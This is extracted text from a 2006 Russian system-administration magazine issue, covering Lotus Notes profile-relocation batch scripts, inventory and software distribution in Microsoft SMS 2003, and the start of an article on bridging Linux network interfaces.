xcopy "C:\Lotus\Notes\Data\pid.nbf" ↵ "H:\Lotus\Notes\Data\" /d /c /h /r /yxcopy "C:\Lotus\Notes\Data\headline.nsf" ↵ "H:\Lotus\Notes\Data\" /d /c /h /r /yxcopy "C:\Lotus\Notes\Data\desktop6.ndk" ↵ "H:\Lotus\Notes\Data\" /d /c /h /r /y

logon_lotus.cmd

xcopy "H:\Lotus\Notes\Data\cluster.ncf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /yxcopy "H:\Lotus\Notes\Data\jobsched.njf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /yxcopy "H:\Lotus\Notes\Data\bookmark.nsf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /yxcopy "H:\Lotus\Notes\Data\desktop6.ndk" ↵ "C:\Lotus\Notes\Data\" /c /h /r /yxcopy "H:\Lotus\Notes\Data\names.nsf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /yxcopy "H:\Lotus\Notes\Data\pid.nbf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /yxcopy "H:\Lotus\Notes\Data\headline.nsf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /y

11№8, август 2006


Lotus_notes_6_5.lnk – десктопный ярлык для запус-ка оптимизированного Lotus Notes, поле Target, в котором принимается за «C:\lotus\notes\notes.exe "=H:\Lotus\Notes\notes.ini"». С помощью этого ярлыка Lotus Notes запуска-ется так, что он работает напрямую с файлом конфигура-ции notes.ini, размещенным на диске H:\.

В директории new_lotus создаем поддиректорию maintenance, предназначенную для перевода новых поль-зователей на новую схему работы и для текущего обслужи-вания указанного ПО. Эта поддиректория содержит в се-бе такие файлы: del_lotus_c_id.cmd, new_copy_lotus_h.cmd, sed.exe с динамическими библиотеками и notes.ini.

Del_lotus_c_id.cmd – сбрасывает персональные настрой-ки пользователя Lotus Notes на диске C:\ с удалением клю-чевого файла user.id, после чего можно настраивать кли-ент для нового пользователя.

New_copy_lotus_h.cmd – копирование персональных файлов Lotus с диска C:\ на H:\ и модификация notes.ini. Мо-дификация позволяет Lotus Notes напрямую работать с клю-чевым файлом пользователя user.id на диске H:\. С помо-щью этого командного файла можно переводить на пред-ложенную схему работы как существующих пользователей, так и новых сразу же после стандартной настройки для них клиента Lotus Notes на диске C:\.

Sed.exe с динамическими библиотеками – потоковый редактор [7], позволяющий модифицировать содержи-мое notes.ini.

Notes.ini – базовый конфигурационный файл для на-стройки Lotus Notes под нового пользователя.

Таким образом, порядок установки выглядит следую-щим образом: Установите на все рабочие станции logoff-скрипты

и через MMC (Group Policy) активируйте их на каждой из них.

Разместите папку new_lotus на общедоступном сетевом ресурсе.

С помощью утилиты BK ReplaceEm в каждом загру-зочном bat-файле на сервере домена добавьте вызов logon_lotus.cmd.

С помощью скриптов в папках new_lotus/maintenance пе-реместите персональные файлы пользователей Lotus Notes на сетевой диск каждого из них.

Приведенная схема соответствует общепринятым нор-мам безопасности информационных систем и ни в чем не ограничивает работу клиента. Надеюсь, что информа-ция найдет у вас практическое применение и избавит вас от бессонных ночей.

1. IBM Lotus Software: http://www.ibm.com/ru/software/lotus.2. IBM Lotus Notes/Domino 6.5.5 Release Notes: http://www-10.lotus.

com/ldd/notesua.nsf.3. eQuality Solutions: продукты IBM/Lotus: http://www.equality.ru/

products-ibm.shtml.4. Tommi Tulisalo, Edwin Kanis, Jean-Noel Koval,Cynthia Mamacos,

Carol Sumner Upgrading to Lotus Notes and Domino 6. – IBM Redbook, 2004.

5. Notes/Domino 6 and 7 Forum: http://lotus.com/ldd/nd6forum.nsf.6. ReplaceEm: http://orbit.org/replace.7. SED, the stream editor: http://student.northpark.edu/pemente/

sed.

lotus_save_lite.cmd

xcopy "C:\Lotus\Notes\Data\bookmark.nsf" ↵ "H:\Lotus\Notes\Data\" /c /h /r /yxcopy "C:\Lotus\Notes\Data\names.nsf" ↵ "H:\Lotus\Notes\Data\ " /c /h /r /ypause

del_lotus_c_id.cmd

del /f C:\Lotus\Notes\Data\cache.ndkdel /f C:\Lotus\Notes\Data\desktop6.ndk

del /f C:\Lotus\Notes\Data\cluster.ncfdel /f C:\Lotus\Notes\Data\jobsched.njf

del /f C:\Lotus\Notes\Data\names.nsfdel /f C:\Lotus\Notes\Data\bookmark.nsf

del /f C:\Lotus\Notes\Data\pid.nbfdel /f C:\Lotus\Notes\Data\user.id

echo a| xcopy z:\new_lotus\maintenance\notes.ini ↵ C:\Lotus\Notes\notes.ini

Рисунок 2. Активация vbs-скрипта на рабочей станции

new_copy_lotus_h.cmd

cd /d H:\md Lotuscd Lotusmd Notescd Notesmd Dataecho f|xcopy C:\Lotus\Notes\Data\bookmark.nsf ↵ H:\Lotus\Notes\Data\bookmark.nsfecho f|xcopy C:\Lotus\Notes\Data\cluster.ncf ↵ H:\Lotus\Notes\Data\cluster.ncf

echo f|xcopy C:\Lotus\Notes\Data\desktop6.ndk ↵ H:\Lotus\Notes\Data\desktop6.ndkecho f|xcopy C:\Lotus\Notes\Data\headline.nsf ↵ H:\Lotus\Notes\Data\headline.nsf

echo f|xcopy C:\Lotus\Notes\Data\jobsched.njf ↵ H:\Lotus\Notes\Data\jobsched.njfecho f|xcopy C:\Lotus\Notes\Data\names.nsf ↵ H:\Lotus\Notes\Data\names.nsf

echo f|xcopy C:\Lotus\Notes\Data\pid.nbf ↵ H:\Lotus\Notes\Data\pid.nbfecho f|xcopy C:\Lotus\Notes\Data\user.id ↵ H:\Lotus\Notes\Data\user.idecho f|xcopy C:\Lotus\Notes\notes.ini ↵ H:\Lotus\Notes\notes.inicall z:\new_lotus\maintenance\del_lotus_c_id.cmd

z:\new_lotus\maintenance\sed.exe ↵ -e s/"KeyFilename=user.id" ↵ /"KeyFileName=H:\\Lotus\\Notes\\Data\\user.id"/ ↵ notes.ini > notes2.ini

xcopy /f notes2.ini notes.ini /c /r /ydel /f /q notes2.inicd \pause

12


Проделав все необходимые действия (см. статью «Устанав-ливаем и настраиваем Systems

Management Server 2003», №7, 2006 г.), вы получили полностью работоспособ-ный сервер SMS 2003 с установленны-ми клиентами, в базу которого занесе-ны ресурсы сети (компьютеры, поль-зователи). Теперь можно двигаться дальше и переходить непосредствен-но к инвентаризации. Думаю, мно-гие согласятся, что это малоприятная процедура. Порой необходимо сде-лать выборку по определенным пара-метрам, чтобы выявить компьютеры, на которые нужно установить обнов-ления или нуждающиеся в модерниза-ции. Многим из вас знакомы требова-ния руководства, которое хочет знать, какое программное обеспечение ус-тановлено на компьютерах пользова-телей и не изменялась ли самовольно конфигурация ПК. Правда, это нуж-но не только начальству, но в первую очередь и самому сисадмину. Все это можно сделать в считанные минуты с помощью SMS 2003. Если вы знако-мы с SQL, проблем будет еще меньше, благодаря возможности напрямую об-ращаться к базе SQL-сервера, исполь-

зуя запросы SQL. После проведенной инвентаризации можно централизо-ванно обновить ПО, установить но-вое, а также поставить необходимые патчи и заплатки для операционных систем и программ. Можно для этого воспользоваться групповыми полити-ками домена, но сделать это сложнее, так как SMS – это все-таки специали-зированный продукт, рассчитанный именно на такое применение в отличие от Group Policy. Комплект инструмен-тов был бы неполным без удаленного управления. Но это уже кому как нра-вится. Многие привыкли к небольшим мобильным утилитам, которые справ-ляются с поставленной задачей не ху-же, а порой и лучше SMS. Это не глав-ное достоинство этого продукта, и его мы тоже рассмотрим.

Проводим инвентаризацию оборудованияЧтобы начать процесс, запустите консоль SMS Administrator Console, «Site Database → Site Hierarchy → имя сайта → Site Settings → Client Agents», где выберите «Hardware Inventory Client Agent» (рис. 1). В свойс-

твах агента на вкладке «General» поставьте флажок «Enable hardware inventory on clients», а расписание вы можете настроить уже в соответствии со своими задачами. Через некоторое время (минут 15) политики на клиентах обновятся, и вы сможете просмотреть ресурсы компьютеров сети. Для того чтобы ускорить этот процесс, на клиен-те в панели управления запустите ап-плет Systems Management и на вклад-ке «Actions» обновите «Machine и User Policy» (рис. 2), а затем «Hardware Inventory Cycle». В этом случае инфор-мацию вы сможете просмотреть уже через 3-4 минуты. Собранные дан-ные об оборудовании доступны, на-пример, из коллекции «All Systems» консоли SMS Administrator Console. Для этого в контекстном меню по щел-чку правой кнопкой мыши на нужном нам компьютере выберем «All Tasks → Start Resource Explorer». Что интерес-но, сведения об установленном про-граммном обеспечении тоже находят-ся здесь. После сбора информации об оборудовании эти данные заносят-ся в базу и далее доступны в автоном-ном режиме и при выключенном уда-ленном компьютере.


У вас появится больше времени на творчество благодаря Systems Management Server 2003.

Дмитрий Щербаков

13№8, август 2006


Проводим инвентаризацию программного обеспеченияИнвентаризация ПО заключается в сборе информации из файлов прило-жений с помощью SMS Software Agent. Полученные данные включают в себя сведения о названии продукта, про-изводителе, версии, а также времени и дате установки.

Для начала активируйте Software Inventory Client Agent: «Site Database → Site Hierarchy → имя сайта → Site Settings → Client Agents» и поставьте галочку «Enable software inventory on clients» (рис. 3). По умолчанию соби-рается информация обо всех exe-фай-лах. Обновление информации происхо-дит аналогично инвентаризации обо-рудования, однако времени требует-ся больше. Просмотреть информацию вы можете там же – через «Resource Explorer» (вкладка «Software»). В свойс-твах «Software Inventory Client Agent» можно указать также путь для поиска файлов и настроить сбор файлов с кли-ентских компьютеров (например, отче-ты после установки ПО). Но так как та-кие файлы могут иметь довольно боль-шой размер и клиентов тоже немало, следует подходить к сбору файлов с ос-торожностью, ведь это неизбежно пов-лечет за собой существенное увеличе-ние сетевого трафика.

Другой способ проведения инвен-таризации ПО – Software metering. На первый взгляд он похож на Software Inventory, но используется для то-го, чтобы отследить, с какими про-граммами работает пользователь. Полученные данные могут содер-жать информацию о времени запус-ка программы, завершения, под ка-ким именем пользователя она была запущена, и т. д. «Software Metering Client Agent» находится в контейнере «Client Agents» (там же, где «Hardware Inventory Client Agent» и «Software Inventory Client Agent»). Информация записывается на клиентском ком-пьютере в файл mtrmgr.log в каталог C:\windows\system32\ccm\logs.

Создаем отчетыДля начала попробуем создать прос-той запрос (набор параметров, кото-рый используется для получения ин-формации из базы данных).

Properties → Select» и далее выберите «Attribute Class» и «Attribute» (рис. 5). В качестве «Attribute Class» возьми-те, например, «System», а «Attribute» – «Name». Поле «Alias» as можно оста-вить как есть – «No Alias». Далее пе-рейдите на вкладку «Criteria». Создай-те новый критерий, в котором тип ос-тавьте «Simple Value», «Attribute Class» возьмите «Memory» (окно выбора атри-бутов вызывается по нажатию кнопки «Select»), а «Attribute» – «Total Physical Memory».

Если, например, нужно узнать, на каком компьютере больше 1 Гб оперативной памяти, то в выпадаю-

Рисунок 1. Hardware Inventory Client Agent

Откройте консоль сервера SMS, «Site Database → Queries», и далее по правой кнопке мыши – «New → Query» (рис. 4). Что интересно, поми-мо множества предопределенных за-просов можно создать и свои, исполь-зуя WQL (в этом же диалоге). Это да-ет возможность обращаться сра-зу к нескольким объектам, что недо-ступно из графического интерфейса. По умолчанию выбран объект «System Resource». Дайте имя запросу, напри-мер test, затем нажмите на кнопку «Edit Query Statement» и поставьте га-лочку напротив «Omit duplicate rows», создайте новый запрос в окне «Result

Рисунок 2. Обновление политик на клиенте

14


щем списке «Operator» надо выбрать «Is greater than or equal to», а в поле «Value» занести 1 000 000 (рис. 6). Сохраните запрос, а для его запуска из контекстного меню выберите «Run Query».

Используем Reporting Point для создания отчетовДля начала настройте сервер на ис-пользование Reporting Point, для этого в консоли SMS Administrator Console выберите «Site Database → Site Hierarchy → имя сайта → Site Settings → Site Systems» и в свойс-твах сервера на вкладке «Reporting

Point» поставьте галочку «Use this site system as a reporting point». Теперь пе-реходим непосредственно к состав-лению отчета: не закрывая консоль SMS Administrator Console, найди-те «Reporting → Reports» и выбери-те нужный, например «Computers with low memory». Чтобы запустить этот от-чет на выполнение, щелкните по нему правой кнопкой мыши: «All Tasks → Run → имя компьютера». В появив-шемся окне введите пароль, а в стро-ке «Mb of Memory» окна отчета – объ-ем памяти с меньшим значением ко-торого, нас интересуют компьюте-ры. Для завершения запроса нажми-те кнопку «Display». Чтобы использо-

вать в отчетах графики, на компьюте-ре с Reporting Point надо установить Microsoft Office 2000 или выше. Про-сматривать отчеты можно с клиента, на котором установлен Internet Explorer 5.01 SP2 и выше, по адресу http://имя сервера/smsreporting-код сайта. Для того чтобы каждый раз не зада-вался вопрос об имени пользователя и пароле, надо внести учетную запись пользователя в группу SMS Reporting Users.

В контейнере «Reporting» консо-ли SMS Administrator Console при-сутствует еще пункт «Dashboards». В «Dashboards» можно помещать груп-пу взаимосвязанных отчетов, которым не передаются никакие параметры. От-четы располагаются на одной страни-це, что довольно удобно при просмот-ре – недаром Microsoft использовала для этого пункта очень удачное назва-ние – приборная доска.

Устанавливаем программное обеспечение по сетиВ большой сети, даже если требует-ся установить небольшое обновле-ние или новую программу на все ком-пьютеры или на какую-то их опреде-ленную часть, уходит много времени, особенно если делать это вручную, даже при помощи программ удален-ного управления. Применение груп-повых политик не так просто и не так гибко, как применение для этой цели средств SMS – Software Distribution. Одно из больших преимуществ SMS при установке ПО – использование сервиса BITS. Он позволяет исполь-зовать докачку файла при возникно-вении сбоя при передаче. Эта техно-логия доступна только для Advanced Clients. При инсталляции ПО средс-твами SMS гораздо легче отследить ход установки на всех компьютерах через отчеты об установке или через Software metering.

Как обычно, начинаем с настрой-ки сервера SMS: в консоли SMS Administrator Console раскройте узел «Site Database → Site Hierarchy → имя сайта → Site Settings → Site Systems». В свойствах сервера на вкладке Distribution Point (рис. 7) установите флажок «Use this site system as a distribution point» и «Enable Background Intelligent Transfer Service

Рисунок 3. Software Inventory Client Agent

Рисунок 4. Создание запроса. Шаг 1

15№8, август 2006


(BITS)». Перейдите в контейнер «Client Agents» и в свойствах «Advertised programs Client Agent» поставьте фла-жок «Enable software distribution to clients». На вкладке «Notification» ус-тановите по своему вкусу парамет-ры оповещения об установке про-грамм. Для первого раза стоит вклю-чить извещение об установке, но, ког-да все будет отлажено, лучше его уб-рать, так как это избавит вас от лиш-них вопросов пользователей. В кон-тейнере «Component Configuration» в свойствах «Software Distribution» ука-жите учетную запись администратора домена для «Advanced Clients» и учет-ную запись администратора, под кото-рой будет выполняться установка для «Legacy Clients» (рис. 8). Для уменьше-ния времени обновления информации об изменении статуса сервера SMS на клиентах можно проделать те же операции, что и при проведении инвен-таризации оборудования и ПО.

Создаем пакеты для распространенияРассмотрим на примере вариант ус-тановки ПО на все компьютеры се-ти. Пусть требуется для решения про-изводственной задачи установить NetFrameWork. В исходном виде про-грамма доступна в виде одного са-мораспаковывающегося exe-файла. Извлеките из него все файлы, сре-ди которых будет и msi-файл, кото-рый позволяет выполнить установку с необходимыми параметрами, напри-мер, без перезагрузки и в тихом ре-жиме. Отмечу, что в отличие от дру-гих средств сетевой установки, таких как групповые политики, не требуется преобразовывать установочный файл в формат msi.

Единственное замечание – если нужна скрытая от пользователя ус-тановка, то предварительно надо ли-бо воспользоваться параметрами ко-мандной строки, либо перепаковать инсталлятор. Далее поместите уста-новочные файлы в общедоступный по сети каталог. Теперь нужно сформи-ровать установочный пакет для SMS. Для этого в консоли SMS Administrator Console щелкните правой кнопкой мы-ши по контейнеру «Packages» и выбе-рите из контекстного меню «New → Package» (рис. 9). Введите назва-ние пакета, например NetFrameWork,

на вкладке «Data Source» установи-те флажок напротив «This package contains source files» и укажите к ним путь в поле «Source directory». Пакет может состоять и из одного файла, тогда указывать здесь его не нужно. Теперь раскройте контейнер с вновь созданным пакетом и щелкните пра-вой кнопкой по «Distribution Points → New → Distribution Points» и выбери-те компьютер в качестве «Distribution Point», установив соответствующий флажок. Для того чтобы уже непос-редственно задать параметры уста-новки новой программы, перейди-те к контейнеру «Programs», «New → Program» (рис. 10). В поле «Command

line» введите команду установки (имя установочного файла с необходимы-ми ключами). Для того чтобы установ-ка проходила скрытно от пользовате-ля, отметьте режим Hidden. На вкладке «Environment» из списка «Program can run» выберите пункт «Whether or not a user is logged on». В таком случае про-грамма установки запустится незави-симо от того, зарегистрировался поль-зователь или нет. Тип запуска выбери-те «Run with administrative rights» и пос-тавьте галочку напротив «Use Software installation account». Для того чтобы полностью исключить любые уведом-ления пользователя об установке про-граммы, на вкладке «Advanced» ус-



16


тановите флажок «Suppress program notifications». Последняя вкладка «Windows Installer» необходима лишь в том случае, когда дистрибутив про-граммы состоит из нескольких файлов, среди которых есть файл с расширени-ем *.msi. Если такой файл отсутствует или установочная программа состоит вообще из одного установочного фай-ла с расширением *.exe, то на этом на-стройка программы инсталляции за-канчивается. В нашем случае нажми-те на вкладке «Windows Installer» кноп-ку «Import» и найдите файл netfx.msi. Сохраните изменения, и теперь мож-но переходить непосредственно к ус-тановке программы.

Распространение программного обеспеченияПроще всего для этой цели восполь-зоваться мастером. Для этого щелк-ните правой кнопкой мыши на выбран-ной коллекции: «All Tasks → Distribute Software». Все значения можно оста-вить по умолчанию, остановимся по-подробнее только на шаге «Assign Program». В случае выбора пункта «Do not assign the program» программа будет доступна для установки (в меню «Add or Remove Programs»), но не бу-дет установлена автоматически. Вы-берите пункт «Assign Program». После завершения работы мастера в контей-

нере «Advertisements» появится новое уведомление. Просмотрев его свойс-тва, можно настроить дополнитель-ные параметры, например, расписание Schedule. Обычно выбирается пункт «Assign Immediately after this event: as soon as possible». Для реального па-кета можно уже настраивать расписа-ние по своему усмотрению. Все ли в по-рядке с пакетом, можно просмотреть через «System Status → Advertisement Status → название уведомления и че-рез «System Status → Package Status → название пакета». В обоих случаях по правому щелчку мышкой на названии сайта выберите «Show Masseges → All». Также проверить корректность создания пакета можно, просмотрев каталог X:\SMSPKGX$, где X – имя диска, на котором находится этот ка-талог (по умолчанию на С). Не забы-вайте, что «сразу, как только возмож-но» не значит, что установка начнется мгновенно. Для ускорения этой проце-дуры необходимо произвести обновле-ние политики на клиенте, как и во всех предыдущих случаях. Через некото-рое время (минут 10-15), начнется ус-тановка. Этот момент вы легко отсле-дите, если был выбран тип установки с оповещениями.

ПО устанавливается на основе кол-лекций, присутствующих в SMS. Но можно создавать и свои коллекции и уже на их основе осуществлять рас-пространение программ. В частнос-ти, если нужно произвести установ-ку на один компьютер, то для него со-здается отдельная коллекция. Проще всего это сделать с помощью масте-ра, щелкнув правой кнопкой на нуж-ном компьютере и выбрать пункт «All Tasks → Distribute Software».

Для централизованной установки обновлений в SMS используется на-бор утилит SMS 2003 Software Update Scanning Tools, который можно скачать с сайта Microsoft. В стандартную пос-тавку SMS этот набор не входит. Эти утилиты позволяют обновлять опера-ционные системы Microsoft, включая Windows NT 4.0 SP5, а также Microsoft Office и Exchange Server, создавать от-четы об установке обновлений.

Удаленное управление в SMS 2003SMS 2003 не был бы законченным про-дуктом, если бы в нем не была предус-

Рисунок 7. Назначение серверу SMS роли Distribution Point

Рисунок 8. Установка параметров Software Distribution

17№8, август 2006


мотрена возможность удаленного уп-равления. Для этой цели служит на-бор инструментов SMS Remote Tools. Если вы привыкли к другим програм-мным продуктам, таким как DameWare, возможностей, предоставляемых SMS, вам будет явно мало. Но основ-ные действия SMS Remote Tools поз-воляют производить: непосредствен-но удаленное управление, перезаг-рузку удаленного компьютера, чат, пе-редачу файлов и запуск приложений на удаленном компьютере. Помимо этого имеется возможность использо-вать встроенные средства Windows XP и Windows 2003: Remote Assistance и Remote Desktop.

Чтобы воспользоваться «Remote Tools», необходимо, как обычно в кон-соли SMS Administrator Console рас-крыть узел «Site Database → Site Hierarchy → имя сайта → Site Settings → Client Agents» и разрешить использо-вание Remote Tools на клиентах, ус-тановив соответствующий флажок в свойствах «Remote Tools Client Agent». Там же на вкладке Policy мож-но настроить необходимые разреше-ния для удаленного управления, а на вкладке «Notifications» – уведомления о подключении на удаленном компью-тере. Как обычно, для ускорения об-новления политики на клиентском ком-пьютере можно воспользоваться ап-летом «Systems Management» в пане-ли управления и на вкладке «Actions» запустить «Initiate Action для Machine Policy Retrieval» и для «User Policy Retrieval». Для того чтобы воспользо-ваться «Remote Tools», щелкните пра-вой кнопкой мыши на имени компью-тера из нужной коллекции в консоли SMS Administrator Console, далее из контекстного меню «All Tasks → Start Remote Tools». В открывшемся окне из меню «Tools» выберите «Remote Control», чтобы начать работу с уда-ленным рабочим столом. Останавли-ваться подробно на удаленном адми-нистрировании я не буду. Хочется толь-ко отметить, что помимо пункта «Start Remote Tools» из контекстного меню, доступного по нажатию правой кноп-ки мыши на объекте выделенного ком-пьютера, есть еще пункты «Start Event Viewer», «Start Windows Diagnostics» и «Start Windows Performance Monitor», которые позволяют получить дополни-тельные сведения об удаленном ком-

пьютере. Эти пункты доступны только для «Advanced Clients». Для «Legacy Clients» в окне «Remote Tools» из па-нели инструментов доступны вкладки «Windows Memory» и др.

Все возможности продукта ком-пании Microsoft – SMS 2003 невоз-можно описать на страницах жур-нала. Но, разобравшись с базовы-ми принципами вы можете двигаться дальше и настраивать его под конк-ретные задачи, ведь рассмотренная конфигурация не единственно воз-можная. Следующий этап, особенно для крупных компаний, – охват уда-ленных филиалов и мобильных поль-зователей.

Настройка SMS 2003 – непростая задача и требует максимум терпения, но время, потраченное на освоение и настройку SMS, окупится сторицей. И не раз вы будете вспоминать доб-рым словом этот продукт, когда сроч-но понадобится вывести отчет по пар-ку вычислительной техники по како-му-либо нестандартному критерию, а у вас и обычный-то список уже уста-рел, или понадобится установить но-вое ПО на сотни компьютеров, причем немедленно. Стабильно работающий и должным образом настроенный SMS существенно сократит время, затрачи-ваемое на рутинную работу по инвен-таризации и обновлению.

Рисунок 9. Создание пакета NetFrameWork

Рисунок 10. Настройка параметров установки новой программы (NetFrameWork)

18


Современный Linux-сервер: виртуализируем сетевые устройстваЧасть 2

Алексей Барабанов

Воплотить схему виртуализации совершенно несложно. А дополнительно можно построить адаптивную систему коммутации.

19№8, август 2006


В первой части статьи [1] были предложены пути и де-тально разобраны принципы искусственной вир-туализации сетевых интерфейсов. Виртуализация

не просто для усиления названа искусственной. Создание по специальному сетевому мосту на каждый используемый интерфейс не является самоцелью. Таким образом, дости-гаются следующие преимущества: Постоянство схемы разметки и наименования сетевых

устройств. Независимость настройки сетевых сервисов от состо-

яния реальных линий связи. Автоматизация сетевой коммутации. Удобство подключения виртуальных серверов.

Если просуммировать вышесказанное, то получится, что виртуализация позволяет создать независимую от состава оборудования, то есть стабильную сетевую разметку, на ос-нове которой можно построить внутреннюю серверную ар-хитектуру, обладающую устойчивостью к отказам и масш-табируемостью. И самое главное, что такая архитектура мо-жет быть положена в основу многоцелевых и весьма раз-нообразных систем. Говоря иначе, таким путем будет раз-работан собственный серверный стандарт.

Но для начала формализуем процедуру виртуализации, так как без этого не получить корректного способа включе-ния ее в стартовую последовательность Linux.

«Алгоритм» виртуализацииВот как представляется последовательность действий по виртуализации согласно первой части статьи [1]:1. Переводим все устройства в новый именной ряд с по-

мощью udev.2. Меняем их настройку так, чтобы обеспечить включение

в состав сетевых мостов.3. Создаем необходимое число сетевых мостов с требуе-

мыми настройками.4. Коммутируем реальные устройства с нужными сетевы-

ми мостами.

После этого получаем виртуальный эквивалент старой настройки. Как подобное можно соединить со стандартны-ми стартовыми скриптами?

Первый шагОтрабатывается при старте udev. Ничего менять не нуж-но, кроме некоторой правки имен устройств в /etc/udev/rules.d/30-net_persistent_names.rules. Как уже было предло-жено, назовем все реальные устройства как hweth*. Тогда строка, переименовывающая соответствующее устройство, например eth3, будет выглядеть следующим образом:

Подробнее о применяемой в настройках udev нотации вы можете прочесть в [2] и, конечно же, в документации, сопро-вождающей пакет udev. Здесь лишь поясню, что в приведен-ной строке задается переименование сетевого устройства

с аппаратным адресом 00:14:85:21:1b:2f в процессе его до-бавления в систему. После выполнения данного правила в системе появится устройство не с тем именем, что выдается ядром в порядке очередности, а с требуемым, в нашем слу-чае это будет hweth3 (от hardware ethernet). Теперь должно быть уже понятно, что если случайно назначаемое имя совпа-дет с одним из уже используемых, то скрипт rename_netiface не сможет выполнить свою задачу. И не важно, что данное совпадение может носить временный характер. Чтобы та-кого конфликта не возникало, используйте нестандартные имена. Нам такая рекомендация только на руку!

Второй шагНадо сделать все реальные устройства безадресными или, например, установить им адрес 0.0.0.0, чтобы можно было воспользоваться в настройке и управлении стандартными системными скриптами. Если на этапе установки системы пакетом YaST были уже настроены сетевые интерфейсы, то достаточно поправить им адрес, если же нет, то надо со-здавать их сразу с нулевым адресом (см. рис. 1). Для уже описанного в предыдущем абзаце сетевого устройства файл параметров будет выглядеть так:

Этот файл создавался с помощью YaST. Но можно его написать и самостоятельно. Более того, поскольку для всех интерфейсов эти файлы имеют практически одинаковый вид, отличаются лишь комментарием – оператор NAME – и уникальным номером конфигурации, который легко по-лучить из начального, просто меняя в каждом последую-щем один или более символ на следующий в алфавитном порядке, то очень легко автоматизировать эту стадию на-

# grep eth3 ↵ /etc/udev/rules.d/30-net_persistent_names.rulesSUBSYSTEM=="net", ACTION=="add", ↵ SYSFS{address}=="00:14:85:21:1b:2f", ↵ IMPORT="/sbin/rename_netiface %k hweth3"

Рисунок 1. Настройка безадресного физического интерфейса

# cat /etc/sysconfig/network/ifcfg-eth-id-00:14:85:21:1b:2f

BOOTPROTO='static'BROADCAST=''IPADDR='0.0.0.0'MTU=''NAME='Giga-byte CK804 Ethernet Controller'NETMASK='255.255.255.0'NETWORK=''REMOTE_IPADDR=''STARTMODE='auto'UNIQUE='DkES.QUKldky+OPE'USERCONTROL='no'_nm_name='bus-pci-0000:00:0a.0'PREFIXLEN=''

20


стройки. Надо только придерживаться того правила, что имя файла формируется на основании физического адреса ин-терфейса по схеме ifcfg-eth-id-MAC.

Подготовленные подобным образом файлы настроек сетевых устройств будут полностью совместимы с сущес-твующей системой запуска сетевой подсистемы на серве-ре. И в процессе выполнения скрипта /etc/init.d/network все перечисленные интерфейсы будут «подняты» как безад-ресные и совершенно пассивные с точки зрения возмож-ностей передачи трафика.

Третий шагНам потребуется создать набор необходимых сетевых мос-тов. Это первый нестандартный шаг. Нужно сначала создать нужное число мостов с помощью команды «brctl addbr eth*». Вот тут мы будем использовать удобные и привычные име-на сетевых интерфейсов, начинающихся с традиционного префикса «eth». То есть воспользоваться ими мы сможем лишь тогда, когда все реальные интерфейсы будут пере-именованы в иной именной ряд. Если в ходе работы будут добавляться или меняться сетевые карты, то эту процедуру надо будет повторять. Тогда имена на «eth» станут свобод-ными, и их можно будет использовать в качестве имен сете-вых мостов, которые, собственно, и послужат основой сете-вой виртуализации. Как только мосты созданы, ими можно манипулировать с помощью стандартных сетевых скриптов. Для этого в директории /etc/sysconfig/network надо создать файлы с сетевыми настройками, названные по схеме ifcfg-eth*, где eth* соответствует имени сетевого моста, которому эти настройки предназначены. Например, некоторому сете-вому мосту eth2, используемому как канал в Интернет, мо-жет соответствовать следующий файл настроек:

Перечень опций можно узнать из «man ifup». Здесь при-ведены реальные данные VDSL-соединения. Все опции оче-видны и тривиальны, кроме двух последних строк, отвеча-ющих за настройку сетевого экрана. Об этой теме погово-рим особо чуть позже. Кстати, и для этой операции можно использовать YaST (см. рис. 2).

Значение в выделенном на рис. 2 поле будет использо-вано при генерации имени такого виртуального устройства. В данном случае 0, то есть образуется eth0, и все парамет-ры будут записаны в файл ifcfg-eth0.

Здесь уже становится понятным, что, хотя мы описыва-ем последовательность настройки с номером 3, но в стар-товой последовательности эти действия надо будет выпол-нить до старта скрипта /etc/init.d/network, иначе конфигура-ционные файлы виртуальных интерфейсов не будут обра-ботаны и сетевые мосты не будут «подняты» и настроены нужным образом. Таким образом, реальный номер этого шага скорее будет «один с половиной» или «два без чет-верти», как угодно.

Четвертый шагСвязывание реальных устройств с сетевыми мостами, не только можно выполнить в любое время после стар-та скрипта /etc/init.d/network, но и, самое приятное, что его можно независимо от всего остального повторять, меняя настройки. Как и в шаге 3, на данном этапе придется ис-пользовать нестандартный скрипт.

Итак, у нас вышло, что все необходимое можно реали-зовать двумя дополнительными скриптами после некото-рой модификации существующих настроек. Рассмотрим подробнее.

Стартовая схемаТеперь давайте выделим из перечисленного ту часть, кото-рую надо повторять при каждом старте, считая, что все не-обходимые шаги по настройке виртуализованного интер-фейса уже выполнены однажды. В этом случае число ша-гов несколько сократится:1. Создадим необходимое число сетевых мостов, соот-

ветствующих используемым сетевым интерфейсам.2. Поднимем и реальные, и виртуальные интерфейсы.3. Скоммутируем реальные устройства с нужными сете-

выми мостами.

Шаг 3 полностью соответствует стандартному скрипту /etc/init.d/network. Не забывайте перед стартом /etc/init.d/boot.udev проконтролировать, что в конфигурации udev не возникло нежелательных устройств, занимающих ис-пользуемые системные имена eth*. Также необходимости предустановить настройки сетевого экрана. Обе задачи можно совместить, если скрипты, их выполняющие, вызвать из /etc/init.d/boot.local. Полностью стартовая последователь-ность должна выглядеть, как представлено на рис. 3.

В некоторой точке настройки системы (№1, рис. 3) вы-полняется скрипт boot.local, предназначенный для размеще-ния дополнительных пользовательских функций, которые

Рисунок 2. Создание виртуального устройства

# cat /etc/sysconfig/network/ifcfg-eth2

BOOTPROTO='static'UNIQUE='alZb.Tm92cpV9oKE'IPADDR='213.xx.xx.xxx'NETMASK='255.255.255.248'BROADCAST='213.xx.xx.xxx'NETWORK='213.xx.xx.xxx'MTU=''NAME='Virtual device eth2 VDSL'STARTMODE='auto'REMOTE_IPADDR=''USERCONTROL='no'

PREFIXLEN=''POST_UP_SCRIPT='/etc/fw/fw-on-internet'POST_DOWN_SCRIPT='/etc/fw/fw-off-internet'

21№8, август 2006


должны выполниться после системного старта. Это пре-красное место для инициализации сетевого экрана и кон-троля настроек udev. Сначала заблокируем весь трафик скриптом fw-init:

Затем, разрешим работу интерфейса lo скриптом fw-main:

